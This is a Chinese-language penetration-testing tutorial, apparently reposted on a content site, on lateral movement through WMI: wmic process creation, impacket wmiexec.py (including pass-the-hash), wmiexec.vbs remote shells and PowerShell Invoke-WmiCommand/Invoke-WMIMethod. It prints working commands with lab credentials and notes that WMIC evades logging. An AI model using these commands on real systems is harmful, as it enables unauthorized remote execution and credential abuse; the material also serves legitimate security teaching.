栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

WMIC使用

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

WMIC使用

目录

WMIC

远程创建进程

wmiexec

wmiexec.py

wmiexec.vbs

Invoke-WmiCommand.ps1

Invoke-WMIMethod


WMIC

WMIC(Windows Management Instrumentation Command-line)的简称,它是一款命令行管理工具,提供了从命令行接口到批量命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC,我们不但可以管理本地计算机,还可以管理统一局域网内的所有远程计算机(需要必要的权限),而被管理的计算机不必事先安装WMIC。自Windows98开始,Windows操作系统都支持WMIC, WMIC是—系列工具集组成的。

在用WMIC执行命令过程中,操作系统默认不会将WMIC的操作记录在日志中,因为在这个过程中不会产生日志。所以越来越多的攻击者由psexec转向WMIC。

注:使用WMIC连接远程主机,需要目标主机开放135和445端口。(135端口是WMIC默认的管理端,wimcexec使用445端口传回显) 即需要目标关闭防护墙才行。

wmic.exe位于Windows目录下,是—个命令行程序。可以理解为类型cmd这种执行命令的程序

在WindowsXP下,低权限用户是不能使用WMIC命令的。在Win7以及之后,低权限用户也可以使用WMIC命令,且不用更改任何设置。

WMIC在信息收集和后渗透测试阶段非常有用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。

——> WMIC常用命令

远程创建进程
  • 工作组环境

如下,以administrator用户连接192.168.52.140,并在机器上创建一个进程执行ipconfig命令,将结果写入c:result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)

wmic /node:192.168.52.140 /user:administrator /password:123.com process call create "cmd.exe /c ipconfig > c:result.txt"

/node 指定将对其进行操作的服务器

出现如下提示 说明命令执行成功,成功创建了文件

如果目标开启了防火墙或者账号密码错误,则会提示RPC服务不可用

 建立连接后可以使用type命令远程读取192.168.52.140上的执行结果,或者读取其他文件也行

但是此时我们使用net use查看网络连接显示的是无网络连接,可知这个和ipc$建立的连接还不一样。

wmiexec

wmiexec是windows自带的wmic的加强版,在渗透过程中使用wmiexec会比wmic和psexec更加方便,这里就介绍几种常用的wmiexec工具进行渗透。

wmiexec.py

首先在github上下载impacket安装包:GitHub - SecureAuthCorp/impacket

使用wmiexec.py脚本进行横向的前提是:

  • 1.目标主机开启了135端口(135端口是WMIC默认的管理端口)
  • 2.目标主机开启了445端口(wimcexec使用445端口传回显)
  • 即 对方防火墙为关闭状态

可以私用账户和密码进行连接或者进行hash传递(需lm和NTLM哈希都有)

python2 wmiexec.py administrator:123.com@192.168.52.140
python2 wmiexec.py administrator@192.168.52.140 -hashes Lm哈希:NTLM哈希

如果对方主机开启了135和445,但是未开启admin$共享,则一直处于连接状态。

wmiexec.vbs

下载地址:wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

如下,半交互式的shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.140 administrator 123.com

// cscript用于在Windows中执行脚本

输入如下命令,使用wmiexec.vbs在远程主机上直接执行单条命令:(有回显)

注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加“-wait 5000”或更长时间的参数。

Invoke-WmiCommand.ps1

下载地址:Invoke-WmiCommand.ps1

该脚本在PowerSploit中的CodeExecution目录下,该脚本主要是通过powershelI调用WMIC来远程执行命令,因此本质上还是利用WMIC。

该脚本使用如下

#导入脚本
import-Module .Invoke-WmiCommand.ps1
#目标系统用户名
$User="administrator"
#目标系统密码
$Password=ConvertTo-SecureString -String "123.com" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行 ipconfig 命令
$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.52.140
#将执行结果输出到屏幕上
$Remote.PayloadOutput

Invoke-WMIMethod

利用 PowerShell 自带的 Invoke-WMIMethod,不需要额外进行下载。可以在远程系统主机上执行命令和指定程序。但不会回显执行结果,即执行如下命令的机器看不到任何结果。

#目标系统用户名
$User="administrator"
#目标系统密码
$Password=ConvertTo-SecureString -String "123.com" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.52.140" -Credential $Cred

命令完成后会在目标系统中运行calc.exe程序,但是不会弹出计算器。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/512467.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号